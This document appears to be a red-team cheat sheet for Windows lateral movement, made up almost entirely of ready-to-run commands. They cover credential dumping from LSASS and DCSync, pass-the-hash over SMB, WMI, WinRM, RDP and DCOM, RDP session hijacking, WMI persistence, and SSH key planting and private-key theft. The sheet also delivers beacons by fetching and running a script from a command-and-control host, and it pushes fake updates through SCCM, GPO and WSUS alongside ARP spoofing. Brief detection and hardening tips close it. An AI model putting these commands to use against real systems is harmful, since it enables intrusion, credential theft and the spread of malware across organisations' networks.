Windows Lateral Movement

# From LSASS (requires local admin / SYSTEM)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# DCSync (requires DA or DCSync rights)
mimikatz.exe "lsadump::dcsync /domain:lab.local /all /csv" exit

# Impacket from Linux
secretsdump.py lab.local/da_user:Pass123!@<DC_IP>

# Via Sliver
[session] sliver > execute-assembly Mimikatz.exe \
  "privilege::debug sekurlsa::logonpasswords exit"

# Check if RDP is enabled on target
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
# 0 = RDP enabled | 1 = RDP disabled

# Check via WMI
Get-WmiObject -Class Win32_TerminalServiceSetting -Namespace root\cimv2\TerminalServices |
  Select AllowTSConnections

# Nmap RDP scan
nmap -p 3389 --script rdp-enum-encryption <TARGET_IP>

:: Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

:: Allow RDP through Windows Firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

:: Add user to Remote Desktop Users group
net localgroup "Remote Desktop Users" attacker /add

# Linux — xfreerdp (recommended)
xfreerdp /u:Administrator /p:'Pass123!' /v:<TARGET_IP>
xfreerdp /u:Administrator /p:'Pass123!' /v:<TARGET_IP> /cert:ignore

# With domain
xfreerdp /u:lab.local\\Administrator /p:'Pass123!' /v:<TARGET_IP> /cert:ignore

# rdesktop (older alternative)
rdesktop -u Administrator -p 'Pass123!' <TARGET_IP>

:: Windows — mstsc
mstsc /v:<TARGET_IP>

# Linux — xfreerdp with NTLM hash
xfreerdp /u:Administrator /pth:<NTLM_HASH> /v:<TARGET_IP> /cert:ignore

# Windows — must enable Restricted Admin Mode on target first
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
# Then connect using mimikatz sekurlsa::pth

:: Mimikatz — spawn RDP session via Pass-the-Hash
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:lab.local /ntlm:<NTLM_HASH> /run:mstsc.exe" exit

:: List active RDP sessions (from SYSTEM context)
query session /server:<TARGET_IP>

:: Hijack session without a password (requires SYSTEM)
tscon <SESSION_ID> /dest:<OUR_SESSION_NAME>

:: Via service (if not already SYSTEM)
sc create hijack binPath= "cmd /k tscon <SESSION_ID> /dest:rdp-tcp#<OUR_ID>"
sc start hijack

# Test if SMB admin shares are accessible
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!'
crackmapexec smb <TARGET_IP> -u Administrator -H <NTLM_HASH>

# List shares
smbclient.py lab.local/Administrator:Pass123!@<TARGET_IP>
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' --shares

# Check SMB signing (unsigned = vulnerable to relay)
crackmapexec smb <SUBNET>/24 --gen-relay-list unsigned_targets.txt

# Impacket psexec — semi-interactive shell via SMB service
psexec.py lab.local/Administrator:Pass123!@<TARGET_IP>

# Pass-the-Hash
psexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>

# Execute specific command
psexec.py lab.local/Administrator:Pass123!@<TARGET_IP> "cmd.exe /c whoami"

:: Windows SysInternals PsExec
PsExec.exe \\<TARGET_IP> -u Administrator -p 'Pass123!' cmd
PsExec.exe \\<TARGET_IP> -u lab\Administrator -p 'Pass123!' cmd

:: Run as SYSTEM
PsExec.exe \\<TARGET_IP> -u Administrator -p 'Pass123!' -s cmd

# smbexec — executes commands via service without writing an exe
smbexec.py lab.local/Administrator:Pass123!@<TARGET_IP>
smbexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>

# atexec — creates a scheduled task to run a single command
atexec.py lab.local/Administrator:Pass123!@<TARGET_IP> "whoami"
atexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP> "whoami"

# Execute command on single target
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' -x "whoami"

# Execute PowerShell command
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' -X "Get-Process"

# Deliver and execute a beacon
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' \
  -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://<C2_IP>:8080/run.ps1')"

# Scan entire subnet
crackmapexec smb <SUBNET>/24 -u Administrator -p 'Pass123!' --exec-method smbexec -x whoami

# PTH on entire subnet
crackmapexec smb <SUBNET>/24 -u Administrator -H <NTLM_HASH> -x whoami

# Upload beacon to target
smbclient.py lab.local/Administrator:Pass123!@<TARGET_IP>
# smb > put beacon.exe Windows\Temp\beacon.exe

# Or via crackmapexec
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' \
  --put-file /tmp/beacon.exe \\Windows\\Temp\\beacon.exe

# Then execute
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' \
  -x "C:\\Windows\\Temp\\beacon.exe"

# wmiexec — interactive semi-shell
wmiexec.py lab.local/Administrator:Pass123!@<TARGET_IP>

# Pass-the-Hash
wmiexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>

# Single command execution
wmiexec.py lab.local/Administrator:Pass123!@<TARGET_IP> "cmd /c whoami"

# Kerberos auth
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass lab.local/Administrator@<TARGET_IP>

:: Execute process on remote machine
wmic /node:<TARGET_IP> /user:"lab\Administrator" /password:"Pass123!" \
  process call create "cmd.exe /c C:\Windows\Temp\beacon.exe"

:: PowerShell WMI
Invoke-WmiMethod -Class Win32_Process -Name Create \
  -ArgumentList "cmd.exe /c C:\Windows\Temp\beacon.exe" \
  -ComputerName <TARGET_IP> \
  -Credential (Get-Credential)

# Create CIM session
$cred = New-Object System.Management.Automation.PSCredential(
    "lab\Administrator",
    (ConvertTo-SecureString "Pass123!" -AsPlainText -Force))

$session = New-CimSession -ComputerName <TARGET_IP> -Credential $cred

# Execute process via CIM
Invoke-CimMethod -CimSession $session \
  -ClassName Win32_Process \
  -MethodName Create \
  -Arguments @{CommandLine="cmd.exe /c C:\Windows\Temp\beacon.exe"}

# Query running processes
Get-CimInstance -CimSession $session -ClassName Win32_Process | Select Name, ProcessId

# Create a WMI event subscription that runs a command on next logon
# Can also be used to execute on a REMOTE machine via -ComputerName

$Filter = Set-WmiInstance -Namespace root\subscription \
  -Class __EventFilter \
  -Arguments @{
    Name="EvilFilter"
    QueryLanguage="WQL"
    Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
  } -ComputerName <TARGET_IP> -Credential $cred

$Consumer = Set-WmiInstance -Namespace root\subscription \
  -Class CommandLineEventConsumer \
  -Arguments @{
    Name="EvilConsumer"
    CommandLineTemplate="C:\Windows\Temp\beacon.exe"
  } -ComputerName <TARGET_IP> -Credential $cred

# CrackMapExec — check WinRM
crackmapexec winrm <TARGET_IP> -u Administrator -p 'Pass123!'
crackmapexec winrm <TARGET_IP> -u Administrator -H <NTLM_HASH>

# Nmap
nmap -p 5985,5986 <TARGET_IP>

# Password auth
evil-winrm -i <TARGET_IP> -u Administrator -p 'Pass123!'

# Pass-the-Hash
evil-winrm -i <TARGET_IP> -u Administrator -H <NTLM_HASH>

# With SSL (port 5986)
evil-winrm -i <TARGET_IP> -u Administrator -p 'Pass123!' -S

# Kerberos auth
evil-winrm -i <TARGET_IP> -u Administrator -r lab.local

# Upload/download
evil-winrm > upload /local/beacon.exe C:\Windows\Temp\beacon.exe
evil-winrm > download C:\Windows\Temp\output.txt /local/output.txt

# Run scripts in memory
evil-winrm -i <TARGET_IP> -u Administrator -p 'Pass123!' \
  -s /opt/PowerSploit/    # load .ps1 files from directory

:: winrs — one-liner remote command
winrs -r:<TARGET_IP> -u:lab\Administrator -p:Pass123! "whoami"
winrs -r:<TARGET_IP> -u:lab\Administrator -p:Pass123! "cmd.exe"

# Invoke-Command — run a script block remotely
$cred = New-Object System.Management.Automation.PSCredential(
    "lab\Administrator",
    (ConvertTo-SecureString "Pass123!" -AsPlainText -Force))

# Single command
Invoke-Command -ComputerName <TARGET_IP> -Credential $cred \
  -ScriptBlock { whoami; hostname }

# Run a local script on the remote machine
Invoke-Command -ComputerName <TARGET_IP> -Credential $cred \
  -FilePath C:\local\script.ps1

# Interactive PSSession
$session = New-PSSession -ComputerName <TARGET_IP> -Credential $cred
Enter-PSSession -Session $session

# Send files via PSSession
Copy-Item -Path C:\local\beacon.exe \
  -Destination C:\Windows\Temp\beacon.exe \
  -ToSession $session

# Get ticket and use for WinRM
export KRB5CCNAME=Administrator.ccache
evil-winrm -i dc01.lab.local -u Administrator -r lab.local

# Create MMC20.Application COM object on the remote machine
$com = [Activator]::CreateInstance(
    [Type]::GetTypeFromProgID("MMC20.Application","<TARGET_IP>"))

# Execute a command via ExecuteShellCommand
$com.Document.ActiveView.ExecuteShellCommand(
    "cmd.exe",
    $null,
    "/c C:\Windows\Temp\beacon.exe",
    "Minimized")

# Instantiate ShellBrowserWindow on remote target
$com = [Activator]::CreateInstance(
    [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<TARGET_IP>"))

# Execute command
$com.Document.Application.ShellExecute(
    "cmd.exe",
    "/c C:\Windows\Temp\beacon.exe",
    "C:\Windows\System32",
    $null,
    0)

# Instantiate ShellWindows on remote target
$com = [Activator]::CreateInstance(
    [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","<TARGET_IP>"))

# Get an Item to execute
$item = $com.Item()
$item.Document.Application.ShellExecute(
    "cmd.exe",
    "/c C:\Windows\Temp\beacon.exe",
    "C:\Windows\System32",
    $null,
    0)

# dcomexec — interactive DCOM shell (ShellBrowserWindow method)
dcomexec.py lab.local/Administrator:Pass123!@<TARGET_IP>

# Pass-the-Hash
dcomexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>

# Choose DCOM object
dcomexec.py lab.local/Administrator:Pass123!@<TARGET_IP> \
  -object MMC20   # or ShellWindows or ShellBrowserWindow

# Execute specific command
dcomexec.py lab.local/Administrator:Pass123!@<TARGET_IP> "whoami"

crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' \
  --exec-method mmcexec -x "whoami"

# Scan for SSH
nmap -p 22 <TARGET_IP>
crackmapexec ssh <TARGET_IP> -u Administrator -p 'Pass123!'

# Linux → Windows via SSH
ssh Administrator@<TARGET_IP>
ssh lab\\Administrator@<TARGET_IP>

# With specific key
ssh -i /path/to/key Administrator@<TARGET_IP>

# Execute command
ssh Administrator@<TARGET_IP> "whoami && hostname"

# Find SSH authorized_keys on compromised Windows machine
# Common paths:
# C:\Users\<user>\.ssh\authorized_keys
# C:\ProgramData\ssh\administrators_authorized_keys (for admins)

# Add your public key to authorized_keys
echo "ssh-rsa AAAA... attacker@kali" >> C:\Users\Administrator\.ssh\authorized_keys

# Or steal existing private keys
cat C:\Users\Administrator\.ssh\id_rsa

# Install OpenSSH server
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

# Start and enable SSH service
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic

# Allow SSH through firewall
New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server' \
  -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22

# Enumerate installed software
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
    Select DisplayName, Publisher |
    Where-Object { $_.DisplayName -ne $null }

# Check running services for known RMM names
Get-Service | Where-Object {
    $_.DisplayName -match "TeamViewer|AnyDesk|Kaseya|Datto|ConnectWise|SolarWinds|Manage Engine|ScreenConnect"
}

# Check scheduled tasks
Get-ScheduledTask | Where-Object { $_.TaskPath -match "RMM|Remote" }

:: TeamViewer — credentials often stored in registry
reg query HKLM\SOFTWARE\TeamViewer /v SecurityPasswordExported
reg query HKCU\SOFTWARE\TeamViewer

:: AnyDesk — session logs
type "C:\ProgramData\AnyDesk\ad_svc.trace"
type "%APPDATA%\AnyDesk\ad.trace"

:: mRemoteNG — stores creds in an XML config
type "%APPDATA%\mRemoteNG\confCons.xml"

# Decrypt mRemoteNG passwords (if you have the confCons.xml)
python3 mremoteng_decrypt.py -f confCons.xml

# PuTTY sessions stored in registry
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s

# WinSCP credentials
reg query HKCU\Software\Martin_Prikryl\WinSCP 2\Sessions /s

# Find SCCM server
# Often found via AD SCP or DNS
nltest /dsgetdc:lab.local /force
nslookup sccm.lab.local

# SharpSCCM — enumerate and abuse SCCM from a domain user
SharpSCCM.exe local site-info          # get local SCCM info
SharpSCCM.exe get devices              # list managed devices
SharpSCCM.exe exec -d <DEVICE> -r cmd  # run cmd on target device

# Enumerate SCCM managed devices
Get-WmiObject -Namespace root\ccm -ClassName SMS_Client

# If you have admin rights on SCCM:
# Create a "Software Deployment" that drops a beacon
# — Deploy via existing SCCM infrastructure to all machines in a collection

# PDQ stores credentials for deployment
# PDQ Deploy database: C:\ProgramData\Admin Arsenal\PDQ Deploy\Database.db

# If you have access to the PDQ console:
# Create a new "Package" that runs a PowerShell command on all machines
# Deploy → runs on every machine in the list as SYSTEM

# See DACL Attacks note — GPO abuse to execute code on all domain computers
# Push a scheduled task via GPO to all machines in an OU
SharpGPOAbuse.exe --AddComputerTask \
  --TaskName "Update" \
  --Command "cmd.exe" \
  --Arguments "/c C:\Windows\Temp\beacon.exe" \
  --GPOName "Default Domain Policy"

# Find WSUS server via registry
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUStatusServer

# PowerShell
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate" |
  Select WUServer, WUStatusServer

# BloodHound / LDAP — find WSUS server from AD

# Install SharpWSUS (GitHub: nettitude/SharpWSUS)
# Requires: admin on the WSUS server

# Step 1: Check WSUS server status and targets
SharpWSUS.exe check /payload:PsExec64.exe /args:"-accepteula -s -d cmd.exe /c 'whoami'"

# Step 2: Create a malicious update targeting a specific machine
SharpWSUS.exe create /payload:"C:\Windows\System32\cmd.exe" \
  /args:"/c C:\\Windows\\Temp\\beacon.exe" \
  /title:"Windows Defender Update" \
  /targetmachine:<TARGET_HOSTNAME>

# Step 3: Approve the update for the target
SharpWSUS.exe approve /updateid:<UPDATE_GUID> /computername:<TARGET_HOSTNAME>

# Step 4: Check if update was applied
SharpWSUS.exe check /updateid:<UPDATE_GUID> /computername:<TARGET_HOSTNAME>

# Step 5: Clean up (delete the malicious update)
SharpWSUS.exe delete /updateid:<UPDATE_GUID>

# Intercept HTTP WSUS traffic and inject a malicious update
# Requires: MITM position (ARP spoofing or rogue DHCP)

# Step 1: ARP spoof between victim and WSUS server
arpspoof -i eth0 -t <VICTIM_IP> <WSUS_SERVER_IP> &
arpspoof -i eth0 -t <WSUS_SERVER_IP> <VICTIM_IP> &

# Step 2: Inject fake update via WSUSpendu
./WSUSpendu.ps1 -Inject \
  -PayloadFile "beacon.exe" \
  -PayloadArgs "" \
  -ComputerName <VICTIM_HOSTNAME>

# Correct SharpWSUS payload using PsExec (Microsoft-signed)
SharpWSUS.exe create \
  /payload:"PsExec64.exe" \
  /args:"-accepteula -s -d cmd.exe /c 'C:\\Windows\\Temp\\beacon.exe'" \
  /title:"Security Update KB5012345"

# 1. Verify credentials first
crackmapexec smb <TARGET_IP> -u Administrator -H <NTLM_HASH>
# Should return [+] Pwn3d!

# 2. Check what ports are open
nmap -p 22,135,139,445,3389,5985,5986 <TARGET_IP>

# 3. Check AV/EDR status on target (if you have a session there)
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!' \
  -x "powershell Get-MpComputerStatus"

# 4. Check network segmentation
crackmapexec smb <SUBNET>/24 -u Administrator -H <NTLM_HASH>

# Move through multiple hops using SOCKS proxy + Impacket
# Hop 1: Get a SOCKS proxy on WS01 (already compromised)
[session on WS01] sliver > socks5 start --port 1080

# Hop 2: Route traffic through WS01 to reach internal SRV01
proxychains4 wmiexec.py lab.local/Administrator:Pass123!@<SRV01_IP>
# From SRV01 shell, drop another beacon to create Hop 2 session

# Hop 3: Use Hop 2 SOCKS to reach DC
proxychains4 secretsdump.py lab.local/Administrator:Pass123!@<DC_IP>

# SMB
crackmapexec smb <TARGET> -u user -H <NTLM>
psexec.py -hashes :<NTLM> domain/user@<TARGET>

# WMI
wmiexec.py -hashes :<NTLM> domain/user@<TARGET>

# WinRM
evil-winrm -i <TARGET> -u user -H <NTLM>

# RDP
xfreerdp /u:user /pth:<NTLM> /v:<TARGET> /cert:ignore

# Kerberos (Overpass-the-Hash)
getTGT.py -hashes :<NTLM> domain/user -dc-ip <DC>
export KRB5CCNAME=user.ccache
wmiexec.py -k -no-pass domain/user@<TARGET>

# Hunt for PsExec (service PSEXESVC installed)
Get-WinEvent -LogName System |
  Where-Object { $_.Id -eq 7045 -and $_.Message -match "PSEXESVC" }

# Hunt for WMI lateral movement (WmiPrvSE spawning children)
Get-WinEvent -LogName Security |
  Where-Object { $_.Id -eq 4688 -and $_.Message -match "WmiPrvSE" }

# Hunt for Pass-the-Hash (Logon Type 3 with NTLM, from unusual source)
Get-WinEvent -LogName Security |
  Where-Object { $_.Id -eq 4624 -and $_.Message -match "NTLM" }

# Hunt for RDP lateral movement
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" |
  Where-Object { $_.Id -in @(21,25) }

# Block SMB between workstations (only allow to DC/servers)
# GPO: Computer Config → Windows Settings → Windows Firewall
# Block: TCP 445 inbound on workstations from other workstations

# Enable Credential Guard (prevents credential harvesting from LSASS)
# GPO: Computer Config → Admin Templates → Device Guard
# Enable "Turn on Virtualization Based Security"

# Limit local admin accounts (reduce PTH surface)
# Use LAPS (Local Administrator Password Solution) — unique password per machine
# Microsoft LAPS: https://aka.ms/laps